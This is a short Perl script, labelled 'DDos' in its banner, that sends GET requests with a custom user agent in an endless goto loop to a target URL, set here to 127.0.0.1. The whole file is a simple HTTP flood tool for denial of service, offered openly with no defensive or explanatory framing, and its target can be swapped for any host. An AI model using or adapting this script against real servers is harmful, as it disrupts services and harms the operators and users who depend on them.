#!/usr/bin/perl
use LWP::UserAgent;

print "*******************DDos*************************\ n DDos start....[+]\n";



lol:
my $ua = LWP::UserAgent->new(
max_size => 10,
agent => 'kakep agent v 9.11',
timeout => 1,
);
$request = HTTP::Request->new("GET", 'http://127.0.0.1:80/');
$response = $ua->request($request);
goto(lol);